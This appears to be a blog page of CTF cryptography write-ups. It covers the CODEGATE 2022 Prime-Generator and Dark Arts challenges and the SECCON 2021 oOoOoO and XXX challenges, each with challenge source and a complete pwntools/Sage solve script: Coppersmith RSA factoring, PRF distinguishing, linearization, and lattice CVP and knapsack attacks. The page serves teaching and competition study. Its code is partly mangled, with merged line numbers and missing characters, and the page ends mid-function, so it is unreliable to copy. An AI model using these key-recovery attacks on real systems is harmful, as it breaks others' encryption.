    if idx == 1:
        print("How many? (Up to 10)")
        num = int(input("> "))
        for _ in range(min(10, num)):
            print(menu1())
    elif idx == 2:
        n, c = menu2()
        print(f"n : {n}")
        print(f"c : {c}")
cs

 

Solution

 

This is a RSA challenge. We see that menu1 generates primes that have equal upper 296 bits, i.e. $UPPER$. It then returns the value $lower$, which is the value of the lower 216 bits. If we can somehow find the value of $UPPER$, this leads us to knowing much more than half of the upper bits of $p$, so we will be able to factor $n$ via standard RSA attacks using coppersmith algorithm.

 

Now we focus on finding $UPPER$. Each time we are given $lower$, we know that $UPPER + lower$ is a prime. 

Therefore, for each small primes $p<700$, we actually have a relatively strong information $$UPPER + lower \not\equiv 0 \pmod{p}$$ or $$UPPER \not\equiv -lower \pmod{p}$$ which is good enough to remove one possible candidate of $UPPER \pmod{p}$. 

 

Given sufficient number of $lower$ such that $UPPER + lower$ is a prime, we will be able to remove all but one possible candidate for $UPPER \pmod{p}$ for each prime $p <700$. This essentially means that we can recover $UPPER \pmod{p}$ for each prime $p<700$.

 

Combining these information with Chinese Remainder Theorem along with the bound $UPPER < 2^{512}$ is strong enough to deduce the value of $UPPER$. This solves the problem. The code below is due to the challenge author barkingdog.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/sage
from Crypto.Util.number import *
from pwn import *
from sage.all import *
import math
 
= remote("localhost"9001)
 
BITS = 512
UPPER_BITS = 296
LOWER_BITS = BITS - UPPER_BITS
 
primes = [ 357111317192329,
31374143475359616771,
7379838997101103107109113,
127131137139149151157163167173,
179181191193197199211223227229,
233239241251257263269271277281,
283293307311313317331337347349,
353359367373379383389397401409,
419421431433439443449457461463,
467479487491499503509521523541,
547557563569571577587593599601,
607613617619631641643647653659]
 
remainders = [set([x for x in range(p)]) for p in primes]
 
def prod(L):
    val = 1
    for x in L:
        val *= x
    return val
 
def get_lower():
    r.recvuntil(b"> ")
    r.sendline(b"1")
    r.recvuntil(b"> ")
    r.sendline(b"10")
    return [int(r.recvline()) for _ in range(10)]
 
def get_nc():
    r.recvuntil(b"> ")
    r.sendline(b"2")
    r.recvuntil(b"n : ")
    n = int(r.recvline())
    r.recvuntil(b"c : ")
    c = int(r.recvline())
    return n, c
 
def rsa_high_bits_known(n, c, upper):
    F.<x> = PolynomialRing(Zmod(n), implementation='NTL'); 
    pol = x - upper
    beta = 0.48  # we should have q >= N^beta
    XX = 2 ** LOWER_BITS
    epsilon = beta / 7
    rt = pol.small_roots(XX, beta, epsilon)  
    q = int(gcd(rt[0- upper, n))
    p = int(n) // int(q)
    assert(p*== n and p > 1 and q > 1)
    phi = (p-1)*(q-1)
    e = 0x10001
    d = int(pow(e, -1, phi))
    plain = int(pow(c, d, n))
    print(long_to_bytes(plain))
 
#### STEP 1. Recover UPPER using crt ####
print("[+] STEP 1. Recover UPPER using crt")
crt_a = [0]
crt_m = [2**LOWER_BITS]
 
cnt = 0
while prod(crt_m) < 2**BITS:
    cnt += 1
    if cnt % 10 == 0:
        print(f"Gather {cnt*10} primes.. progress : {int(100 * (math.log2(prod(crt_m))-LOWER_BITS) / UPPER_BITS)}%")
    lowers = get_lower()
    for lower in lowers:
        for i in range(len(primes)):
            rem = lower % primes[i]
            if rem in remainders[i]:
                remainders[i].remove(rem)
                if len(remainders[i]) == 1:
                    crt_a.append(primes[i] - remainders[i].pop())
                    crt_m.append(primes[i])
 
upper = crt(crt_a, crt_m)
print(f"[+]UPPER = {upper.hex()}")
 
#### STEP 2. Recover FLAG using RSA Factoring with high bits known attack ###
print("[+] STEP 2. Recover FLAG using RSA Factoring with high bits known attack")
n, c = get_nc()
rsa_high_bits_known(n, c, upper)
cs

 

 

 

'CTF' 카테고리의 다른 글

0CTF 2022 TCTF NFT Market  (0) 2022.09.19
WACon 2022 Quals: RSA Secret Sharing  (0) 2022.06.27
CODEGATE 2022 Preliminary : Dark Arts  (0) 2022.02.28
SECCON CTF 2021 Writeups  (0) 2021.12.14
N1CTF 2021 Writeups  (1) 2021.11.22

2 Solves in General Division. Author : rkm0959

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
import os
import hashlib 
import signal 
 
signal.alarm(300)
 
def inner_product(u, v):
    assert len(u) == len(v)
    res = 0
    for a, b in zip(u, v):
        res += a * b
    return res
 
def guess_mode(G):
    while True:
        idx = int(input())
        if idx == 0:
            x = int(input())
            print(G.calc(x))
        elif idx == 1:
            mode = int(input())
            if mode != G.mode:
                exit()
            else:
                break
        else:
            exit()
 
def guess_key(G, l):
    while True:
        idx = int(input())
        if idx == 0:
            x = int(input())
            print(G.func_gen(x))
        elif idx == 1:
            for i in range(l):
                x = int(input())
                if x != G.key[i]:
                    exit()
            break
        else:
            exit()
 
class Generator1:
    def __init__(self):
        seed = int.from_bytes(os.urandom(32), "big")
        self.key = [0* 256
        for i in range(256):
            self.key[i] = (seed >> i) & 1
        self.mode = os.urandom(1)[0& 1
        
        self.p = 2
        self.q = 3
 
        self.cache0 = {}
        self.cache1 = {}
        
    def func_gen(self, x):
        assert 0 <= x < (1 << 256)
        if x in self.cache0.keys():
            return self.cache0[x]
        arr = [0* 256
        for i in range(256):
            arr[i] = (x >> i) & 1
        prod = inner_product(self.key, arr)
        self.cache0[x] = (prod % self.p + prod % self.q) % self.p
        return self.cache0[x]
    
    def func_random(self, x):
        assert 0 <= x < (1 << 256)
        if x in self.cache1.keys():
            return self.cache1[x]
        self.cache1[x] = os.urandom(1)[0& 1
        return self.cache1[x]
    
    def calc(self, x):
        ret0 = self.func_gen(x)
        ret1 = self.func_random(x)
        if self.mode == 0:
            return ret0
        else:
            return ret1
 
def challenge_generator_1():
    print("Challenge 1")
    for _ in range(64):
        G = Generator1()
        guess_mode(G)
 
class Generator2:
    def __init__(self):
        seed = int.from_bytes(os.urandom(32), "big")
        self.key = [0* 256
        for i in range(256):
            self.key[i] = (seed >> i) & 1
        self.mode = os.urandom(1)[0& 1
        
        self.p = 5
        self.q = 7
 
        self.cache0 = {}
        self.cache1 = {}
    
    def func_gen(self, x):
        x = int.from_bytes(hashlib.sha256(str(x).encode()).digest(), "big")
        if x in self.cache0.keys():
            return self.cache0[x]
        hashed = [0* 256
        for i in range(256):
            hashed[i] = (x >> i) & 1
        prod = inner_product(self.key, hashed)
        self.cache0[x] = (prod % self.p + prod % self.q) % self.p
        return self.cache0[x]
    
    def func_random(self, x):
        x = int.from_bytes(hashlib.sha256(str(x).encode()).digest(), "big")
        if x in self.cache1.keys():
            return self.cache1[x]
        self.cache1[x] = int.from_bytes(os.urandom(32), "big") % self.p
        return self.cache1[x]
    
    def calc(self, x):
        ret0 = self.func_gen(x)
        ret1 = self.func_random(x)
        if self.mode == 0:
            return ret0
        else:
            return ret1
 
def challenge_generator_2():
    print("Challenge 2")
    for _ in range(64):
        G = Generator2()
        guess_mode(G)
 
class Generator3:
    def __init__(self):
        seed = int.from_bytes(os.urandom(16), "big")
        self.key = [0* 64
        for i in range(64):
            self.key[i] = seed & 3
            seed = seed >> 2
 
        self.p = 2
        self.q = 5
    
    def func_gen(self, x):
        x = int.from_bytes(hashlib.sha256(str(x).encode()).digest(), "big")
        hashed = [0* 64
        for i in range(64):
            hashed[i] = x % self.q
            x = x // self.q
        prod = inner_product(self.key, hashed)
        return (prod % self.q) % self.p
 
def challenge_generator_3():
    print("Challenge 3")
    G = Generator3()
    guess_key(G, 64)
 
class Generator4:
    def __init__(self):
        self.key = [0* 16
        for i in range(16):
            self.key[i] = int.from_bytes(os.urandom(32), "big")
 
        self.p = int.from_bytes(os.urandom(32), "big"+ (1 << 256)
        self.q = int.from_bytes(os.urandom(16), "big"+ (1 << 128)
        
        print(self.p)
        print(self.q)
    
    def func_gen(self, x):
        x = hashlib.sha256(str(x).encode()).digest()
        hashed = []
        for _ in range(16):
            hashed.append(int.from_bytes(x, "big"))
            x = hashlib.sha256(x).digest()
        prod = inner_product(self.key, hashed)
        return (prod % self.p + prod % self.q) % self.p
 
def challenge_generator_4():
    print("Challenge 4")
    G = Generator4()
    guess_key(G, 16)
 
challenge_generator_1()
challenge_generator_2()
challenge_generator_3()
challenge_generator_4()
 
flag = open("flag""r").read()
print(flag)
cs

 

Solution

There are four independent challenges that needs to be solved within 300 seconds. 

The flavor of the first two challenges and the last two challenges are a bit different.

 

For the first two challenges, there is fixed a secret key $k$ and a pseudorandom function $F_k(x)$ which outputs a "random" value in $\mathbb{F}_p$.

We have to distinguish this pseudorandom function with an actual random function. To do this, we can choose our inputs $x$ and then the server will give either $F_k(x)$ or a random value. We have to pass this distinguish test 64 times for each of the two challenges.

 

For the last two challenges, there is a fixed secret key $k$ and a pseudorandom function $F_k(x)$ which outputs a "random" value in $\mathbb{F}_p$.

We have to recover the secret key $k$. To do this, we can choose our inputs $x$ and the server will give $F_k(x)$. 

 

 

Generator 1

The pseudorandom function is $$F_k(x) = \left( \langle k, x \rangle \pmod{2} + \langle k, x \rangle \pmod{3} \right) \pmod{2}$$ with $k \in \{0, 1\}^{256}$ and $x \in \{0, 1\}^{256}$. We can choose whatever $x$ we want and get either $F_k(x)$ or some random $\mathbb{F}_2$ element. 

 

The most natural distinguishment we get is that $F_k(0) = 0$ regardless of $k$. If we query the output at $x = 0$ and get $1$ as the result, we can immediately conclude that our function is an actual random function. Are there any more inputs like this?

 

It turns out there are. If $x$ is a unit vector $e_i$ with $i$th coordinate $1$ and others $0$, then we can easily show that $F_k(x)$ must be $0$ regardless of $k$. Now the solution is straightforward - take $60$ of these $x$ values and send them to the server. If all return values are $0$, the function is extremely likely to be a pseudorandom function $F_k(x)$. If at least one return value is $1$, the function must be an actual random function. 

 

Generator 2

This time, the pseudorandom function is $$F_k(x) = \left( \langle k, x \rangle \pmod{5} + \langle k, x \rangle \pmod{7} \right) \pmod{5}$$ with $k \in \{0, 1\}^{256}$ and $x \in \{0, 1\}^{256}$. The problem is, now the input $x$ is SHA256 hashed first then encoded into $\{0,  1\}^{256}$.

Therefore, we can't really choose what value of $x$ to use - practically, we can only use random inputs to our mysterious function. 

 

The key idea is rather hard to find because it is surprisingly simple. The idea is that the output distribution of $F_k(x)$ is not uniform over $\mathbb{F}_5$. This can be either tested with some random trials with code or computed with some basic combinatorics, also with code.

The details of both methods are not hard, so I'll not go into the details here. In practice, if you send $6000$ random inputs, we can determine whether the function is $F_k(x)$ or actually random function by checking if the most frequent number appeared more than $1310$ times.

Computing the success probability relatively precisely left to the readers as exercise - this should not be difficult albeit a bit tedious.

 

Generator 3

We now have to find the secret key $k$. The pseudorandom function is $$F_k(x) = \left( \langle k, x \rangle \pmod{5} \right) \pmod{2}$$ with $k \in \{0, 1, 2, 3\}^{64}$ and $x \in \{0, 1, 2, 3, 4\}^{64}$. The input $x$ is also SHA256 hashed. 

 

The key idea is linearization. If $F_k(x) = 1$, this implies that $\langle k, x \rangle \pmod{5}$ is either $1$ or $3$ - so $$ \left( \langle k, x \rangle - 1  \right) \left( \langle k, x \rangle - 3 \right) \equiv 0 \pmod{5}$$ Since we know the value of $x$, this gives a quadratic equation on $k$'s each coordinate values. We collect a few thousand such equations.

Now, this can be solved by considering each monomials of degree at most 2 as independent variables, and solving the linear equation. 

 

Generator 4

This time, $p$ and $q$ are very large - $p$ is 256 bits and $q$ is 128 bits. The pseudorandom function is $$F_k(x) = \left( \langle k, H(x) \rangle \pmod{p} + \langle k, H(x) \rangle \pmod{q} \right) \pmod{p}$$ where $k \in \{0, 1, \cdots , 2^{256}-1 \}^{16}$ and $H(x) = (h^1(x), h^2(x), \cdots, h^{16}(x))$ where $h^n(x)$ is $x$ after SHA256 applied $n$ times then converted into an integer. Note that we once again have no essental control over $H(x)$, so it's practically a random vector.

 

The idea is that $p$ is much larger than $q$, and $\langle k, H(x) \rangle \pmod{q}$ is between $0$ and $q$. Therefore, the result $F_k(x)$ gives us a range of length $q$ which the value $\langle k, H(x) \rangle \pmod{p}$ must lie. Since we can compute $H(x)$, each input $x$ gives us a precise range for a random linear combination of $k$'s values in mod $p$. Now this reduces to a simple lattice attack with CVP, and my repository is strong enough to solve this challenge. For details, check out https://github.com/rkm0959/Inequality_Solving_with_CVP, or Samsung Software Membership blog.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
import os
import hashlib 
import time
from tqdm import tqdm
from sage.all import *
from sage.modules.free_module_integer import IntegerLattice
from pwn import *
 
conn = remote("127.0.0.1"9003)
 
def Babai_CVP(mat, target):
    M = IntegerLattice(mat, lll_reduce=True).reduced_basis
    G = M.gram_schmidt()[0]
    diff = target
    for i in reversed(range(G.nrows())):
        diff -=  M[i] * ((diff * G[i]) / (G[i] * G[i])).round()
    return target - diff
 
def solve(mat, lb, ub, weight = None):
    num_var  = mat.nrows()
    num_ineq = mat.ncols()
 
    max_element = 0 
    for i in range(num_var):
        for j in range(num_ineq):
            max_element = max(max_element, abs(mat[i, j]))
 
    if weight == None:
        weight = num_ineq * max_element
 
    # sanity checker
    if len(lb) != num_ineq:
        print("Fail: len(lb) != num_ineq")
        return
 
    if len(ub) != num_ineq:
        print("Fail: len(ub) != num_ineq")
        return
 
    for i in range(num_ineq):
        if lb[i] > ub[i]:
            print("Fail: lb[i] > ub[i] at index", i)
            return
 
    # heuristic for number of solutions
    DET = 0
 
    if num_var == num_ineq:
        DET = abs(mat.det())
        num_sol = 1
        for i in range(num_ineq):
            num_sol *= (ub[i] - lb[i])
        if DET == 0:
            print("Zero Determinant")
        else:
            num_sol //= DET
            # + 1 added in for the sake of not making it zero...
            print("Expected Number of Solutions : ", num_sol + 1)
 
    # scaling process begins
    max_diff = max([ub[i] - lb[i] for i in range(num_ineq)])
    applied_weights = []
 
    for i in range(num_ineq):
        ineq_weight = weight if lb[i] == ub[i] else max_diff // (ub[i] - lb[i])
        applied_weights.append(ineq_weight)
        for j in range(num_var):
            mat[j, i] *= ineq_weight
        lb[i] *= ineq_weight
        ub[i] *= ineq_weight
 
    # Solve CVP
    target = vector([(lb[i] + ub[i]) // 2 for i in range(num_ineq)])
    result = Babai_CVP(mat, target)
 
    for i in range(num_ineq):
        if (lb[i] <= result[i] <= ub[i]) == False:
            print("Fail : inequality does not hold after solving")
            break
    
    # recover x
    fin = None
 
    if DET != 0:
        mat = mat.transpose()
        fin = mat.solve_right(result)
    
    ## recover your result
    return result, applied_weights, fin
 
def inner_product(u, v):
    assert len(u) == len(v)
    res = 0
    for a, b in zip(u, v):
        res += a * b
    return res
 
def solve_generator_1():
    for _ in tqdm(range(64)):
        lines = []
        for i in range(20):
            lines.append(b"0")
            lines.append(str(1 << i).encode())
        conn.sendlines(lines)
        res = conn.recvlines(20)
        conn.sendline(b"1")
        if b"1" in res:
            conn.sendline(b"1")
        else:
            conn.sendline(b"0")
 
def solve_generator_2():
    for _ in tqdm(range(64)):
        cnt = [0* 5        
        lines = []
        for i in range(06000):
            lines.append(b"0")
            lines.append(str(i).encode())
        conn.sendlines(lines)
        res = conn.recvlines(6000)
        for i in range(06000):
            cnt[int(res[i])] += 1
        conn.sendline(b"1")
        if max(cnt) > 1310:
            conn.sendline(b"0")
        else:
            conn.sendline(b"1")
  
def solve_generator_3():
    idx = []
    for i in range(64):
        idx.append([0* 64)
    cur = 64
    for i in range(64):
        for j in range(i, 64):
            idx[i][j] = cur
            cur += 1
    M = []
    target = []
    lines = []
    for i in range(6000):
        lines.append(b"0")
        lines.append(str(i).encode())
    conn.sendlines(lines)
    res = conn.recvlines(6000)
    for i in tqdm(range(6000)):
        x = int.from_bytes(hashlib.sha256(str(i).encode()).digest(), "big")
        hashed = [0* 64
        for j in range(64):
            hashed[j] = x % 5
            x = x // 5
        if int(res[i]) == 0:
            continue
        vec = [0* 2144
        for j in range(64):
            vec[j] += hashed[j]
            vec[idx[j][j]] += hashed[j] ** 2
            for k in range(j+164):
                vec[idx[j][k]] += 2 * hashed[j] * hashed[k]
        M.append(vec)
        target.append(2)
    M = Matrix(GF(5), M)
    target = vector(GF(5), target)
    res = M.solve_right(target)
 
    conn.sendline(b"1")
    for i in range(64):
        conn.sendline(str(res[i]).encode())   
 
def solve_generator_4():
    p = int(conn.recvline())
    q = int(conn.recvline())
    DATA = 33
    LEN = 16
    M = Matrix(ZZ, DATA + LEN, DATA + LEN)
    lb = [0* (DATA + LEN)
    ub = [0* (DATA + LEN)
    lines = []
    for i in range(DATA):
        lines.append(b"0")
        lines.append(str(i).encode())
    conn.sendlines(lines)
    res = conn.recvlines(DATA)
    for i in range(DATA):
        x = hashlib.sha256(str(i).encode()).digest()
        hashed = []
        for _ in range(LEN):
            hashed.append(int.from_bytes(x, "big"))
            x = hashlib.sha256(x).digest()
        result = int(res[i])
        lb[i] = result - q
        ub[i] = result
        for j in range(LEN):
            M[j, i] = hashed[j]
        M[i + LEN, i] = p
    for i in range(LEN):
        M[i, i + DATA] = 1
        lb[i + DATA] = 0
        ub[i + DATA] = p
    _, _, fin = solve(M, lb, ub)
    conn.sendline(b"1")
    for i in range(LEN):
        conn.sendline(str(fin[i]).encode())
    
st = time.time()
 
print(conn.recvline())
solve_generator_1()
print("check1")
 
print(conn.recvline())
solve_generator_2()
print("check2")
 
print(conn.recvline())
solve_generator_3()
print("check3")
 
print(conn.recvline())
solve_generator_4()
print("check4")
 
en = time.time()
 
print("time :", en - st)
print(conn.recvline())
cs

 

Background

A PRF takes a key $k$ and an input $x$ and deterministically outputs $y = F(k, x)$. 

A PRF is secure if no efficient adversaries can distinguish (with non-negligible probability) between $F$ and a truly random function between the input/output space. Here, the adversary may query any $x$ and read the output which is either $F(k, x)$ or a random value.

If an adversary who can only query random $x$ in the domain cannot distinguish (with non-negligible probability) between $F$ and a truly random function, the PRF $f$ is called weakly secure PRF, or weak PRF. So Generator 2, 3, 4 are all about (something similar to) weak PRFs.

 

PRFs and weak PRFs are building blocks of cryptography - Boneh & Shoup's book has an interesting exercise regarding them (18.16), and there are plenty of papers on them as well. The PRFs of the form given in the challenge, i.e. $$F(k, x) = \left( \langle k, x \rangle \pmod{p} + \langle k, x \rangle \pmod{q} \right) \pmod{p}$$ comes from the paper "Exploring Crypto Dark Matter: New Simple PRF Candidates and Their Applications" by Boneh, Ishai, and Passel`egue. This paper was in TCC 2018. The main idea was that these functions are relatively simple to calculate via secure multiparty computation - but since I'm not very knowledgeable in this area yet I cannot explain more details.  

 

Some attacks on this PRF is noted in the TCC 2018 paper - in page 7, where they mention the PRF with $p=2$ and $q=3$, they also note that in a constant-modulus regime the fact that the modulus is composite is important to prevent a direct linearization attack. Generator 3 covers this idea. They also note that lattice style attacks are possible (BKW) which is done in Generator 4. 

 

More details are found on page 36, where they outline more attacks. Remark 6.4 explains once again about possible lattice attacks (Generator 4) and Remark 6.5 is once again on linearization attacks (Generator 3). At the start of page 37, there is a note that there is construction is not a PRF - that vectors with Hamming weight 1 is enough for distinguishment. Finding this idea was given as a challenge via Generator 1. 

 

After a few years, Cheon et al (who taught me cryptography in univ, thanks) wrote about an statistical attack on this PRF in their paper "Adventures in Crypto Dark Matter: Attacks and Fixes for Weak Pseudorandom Functions". This paper was in PKC 2021. Their main idea was simple but very effective - the output distribution of the said PRF was surprisingly far from the uniform distribution. Their calculations are outlined on Section 4, starting at page 8 of the paper. Their calculations are on the PRF with the setting $p=2$ and $q=3$, but the result for arbitrary primes $p, q$ are on Remark 4.4, at the top of page 12. Reading this paper gave me the motivation for setting up this challenge.

 

Comments

  • Note the cache is there to prevent same inputs giving different outputs in the case an actual random function is used.
  • The server computes both $F_k(x)$ and the actual random function then returns the output to prevent timing attacks.
  • Generator 1 is intended to be a soft introduction to the challenge, letting participants get a sense of what's going on.
  • Generator 3's main idea (linearization) have appeared in multiple CTFs before. I can recall three of them.
  • When writing the exploit, sending queries in batches is extremely important to fit the time requirements.

 

'CTF' 카테고리의 다른 글

WACon 2022 Quals: RSA Secret Sharing  (0) 2022.06.27
CODEGATE 2022 Preliminary : Prime-Generator  (0) 2022.02.28
SECCON CTF 2021 Writeups  (0) 2021.12.14
N1CTF 2021 Writeups  (1) 2021.11.22
PBCTF 2021 Writeups  (0) 2021.10.13

Super Guessers won SECCON CTF 2021, with a clean all-solve. I have repeated in this CTF, i.e. won this CTF two years in a row, last year with a strong union of (mostly) Korean cybersecurity professionals. The writeups from last year is at https://rkm0959.tistory.com/165.

This year, there is no collab, only Super Guesser, which is cool :)

 

Due to some other busy work, I didn't participate fully and solved 3 out of 6 cryptography challenges, and others were done by Baaarkingdog. I also finished one misc challenge, (it was our final solve) but it built on work of many others. (I just finished the challenge)

 

Challenges were very clean and good, and not painfully difficult (this is usually expected from Japan I think, :))

 

Super Guesser's first "major" CTF win (without collab)

 

oOoOoO (by kurenaif)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import signal
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
import random
from flag import flag
 
message = b""
for _ in range(128):
    message += b"o" if random.getrandbits(1== 1 else b"O"
 
= getPrime(len(message) * 5)
= bytes_to_long(message) % M
 
print("M =", M)
print('S =', S)
print('MESSAGE =', message.upper().decode("utf-8"))
 
signal.alarm(600)
ans = input('message =').strip().encode()
 
if ans == message:
    print(flag)
else:
    print("🧙")
 
cs

 

Thinking about the effect of each "o" or "O" for the value of bytes_to_long(message), we see that this problem is essentially a subset sum problem over modulo $M$. Indeed, the problem is equivalent to solving the system $$ \sum_{i=0}^{127} [79^k \text{   or   } 111^k] \equiv S \pmod{M}$$ which is same as $$\sum_{i=0}^{127} [79^k \pmod{M} \text{   or   } 111^k \pmod{M}] \equiv S \pmod{M}$$ Since the left hand side is between $0$ and $128M$, we can just solve the following for $0 \le c \le 127$. $$\sum_{i=0}^{127} [79^k \pmod{M} \text{  or   } 111^k \pmod{M}] = (S \pmod{M}) + cM$$ which is now a standard knapsack problem, and can be solved via CJLOSS algorithm.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
# https://github.com/jhs7jhs/LLL/tree/master/low-density-attack
 
def inthroot(a, n):
    return a.nth_root(n, truncate_mode=True)[0]
 
class HighDensityException(Exception):
    pass
 
 
class CJLOSSAttack:
 
    def __init__(self, array, target_sum, try_on_high_density=False):
        self.array = array
        self.n = len(self.array)
        self.target_sum = target_sum
        self.density = self._calc_density()
        self.try_on_high_density = try_on_high_density
 
    def _calc_density(self):
        return self.n / log(max(self.array), 2)
 
    def _check_ans(self, ans):
        calc_sum = sum(map(lambda x: x[0* x[1], zip(self.array, ans)))
        return self.target_sum == calc_sum
 
    def solve(self):
        if self.density >= 0.9408 and not self.try_on_high_density:
            raise HighDensityException()
 
        # 1. Initialize Lattice
        L = Matrix(ZZ, self.n + 1self.n + 1)
        N = inthroot(Integer(self.n), 2// 2
        for i in range(self.n + 1):
            for j in range(self.n + 1):
                if j == self.n and i < self.n:
                    L[i, j] = 2 * N * self.array[i]
                elif j == self.n:
                    L[i, j] = 2 * N * self.target_sum
                elif i == j:
                    L[i, j] = 2
                elif i == self.n:
                    L[i, j] = 1
                else:
                    L[i, j] = 0
 
        # 2. LLL!
        B = L.LLL()
 
        # 3. Find answer
        for i in range(self.n + 1):
            if B[i, self.n] != 0:
                continue
 
            if all(v == -1 or v == 1 for v in B[i][:self.n]):
                ans = [ (-B[i, j] + 1// 2 for j in range(self.n)]
                if self._check_ans(ans):
                    return ans
 
        # Failed to find answer
        return None
 
conn = remote('oooooo.quals.seccon.jp'8000)
 
REMOTE = True
 
if REMOTE:
    M = int(conn.recvline().split()[-1])
    S = int(conn.recvline().split()[-1])
    conn.recvline()
else:
    message = b""
    for _ in range(128):
        message += b"o" if rand.getrandbits(1== 1 else b"O"
    print(message)
 
    M = getPrime(len(message) * 5)
    S = bytes_to_long(message) % M
 
base = 0
for i in range(128):
    base += 79 * (256 ** i)
 
 
sums = ((S - base) * inverse(32, M)) % M
 
arr = [(256 ** i) % M for i in range(128)]
target_sum = sums
 
st = time.time()
 
for i in tqdm(range(128)):
    attack = CJLOSSAttack(arr, target_sum + i * M, True)
    res = attack.solve()
    if res != None:
        msg = ""
        for i in range(128):
            if res[i] == 0:
                msg += "O"
            else:
                msg += "o"
        msg = msg[::-1]
        conn.sendline(msg.encode())
        print(conn.recvline())
 
 
en = time.time()
 
print(en - st)
 
cs

 

XXX (by theoremoon)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import os
 
flag = os.getenv("FLAG""fake{fakeflag_blahblah}")
= int.from_bytes(flag.encode(), "big")
 
= random_prime(1 << int(x.bit_length() * 2.5))
Fp = GF(p)
 
params = []
while len(params) != 6:
    try:
        y = randint(2, x)
        a = randint(2, p-1)
        b = (y^2 - (x^3 + a*x)) % p
 
        EC = EllipticCurve(Fp, [a, b])
        EC(x, y)
 
        params.append([a, b])
    except ValueError:
        pass
 
print(p)
print(params)
 
cs

 

We have 796 bit prime $p$ and around 320 bit $x$, which is the flag.

We are given 6 parameters $(a_i, b_i)$ such that $y_i^2 \equiv x^3 + a_ix + b_i \pmod{p}$ and $y_i < x$. 

 

Subtracting, we see that $$(a_1 - a_j)x + (b_1 - b_j) \equiv y_1^2 - y_j^2 \pmod{p}$$ so $$-2^{640} < (a_1 - a_j) x + (b_1 - b_j) \pmod{p} < 2^{640}$$ which can be rewritten as $$ -2^{640} < (a_1 - a_j) x + (b_1 - b_j) + p c_j< 2^{640}$$ for $2 \le j \le 6$. Since we know all $a_j, b_j$ values, the only unknown is $x$ and $c_j$ values, and this can be plugged in my CVP repository. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
 
# Directly taken from rbtree's LLL repository
# From https://oddcoder.com/LOL-34c3/, https://hackmd.io/@hakatashi/B1OM7HFVI
def Babai_CVP(mat, target):
    M = IntegerLattice(mat, lll_reduce=True).reduced_basis
    G = M.gram_schmidt()[0]
    diff = target
    for i in reversed(range(G.nrows())):
        diff -=  M[i] * ((diff * G[i]) / (G[i] * G[i])).round()
    return target - diff
 
 
def solve(mat, lb, ub, weight = None):
    num_var  = mat.nrows()
    num_ineq = mat.ncols()
 
    max_element = 0 
    for i in range(num_var):
        for j in range(num_ineq):
            max_element = max(max_element, abs(mat[i, j]))
 
    if weight == None:
        weight = num_ineq * max_element
 
    # sanity checker
    if len(lb) != num_ineq:
        print("Fail: len(lb) != num_ineq")
        return
 
    if len(ub) != num_ineq:
        print("Fail: len(ub) != num_ineq")
        return
 
    for i in range(num_ineq):
        if lb[i] > ub[i]:
            print("Fail: lb[i] > ub[i] at index", i)
            return
 
        # heuristic for number of solutions
    DET = 0
 
    if num_var == num_ineq:
        DET = abs(mat.det())
        num_sol = 1
        for i in range(num_ineq):
            num_sol *= (ub[i] - lb[i])
        if DET == 0:
            print("Zero Determinant")
        else:
            num_sol //= DET
            # + 1 added in for the sake of not making it zero...
            print("Expected Number of Solutions : ", num_sol + 1)
 
    # scaling process begins
    max_diff = max([ub[i] - lb[i] for i in range(num_ineq)])
    applied_weights = []
 
    for i in range(num_ineq):
        ineq_weight = weight if lb[i] == ub[i] else max_diff // (ub[i] - lb[i])
        applied_weights.append(ineq_weight)
        for j in range(num_var):
            mat[j, i] *= ineq_weight
        lb[i] *= ineq_weight
        ub[i] *= ineq_weight
 
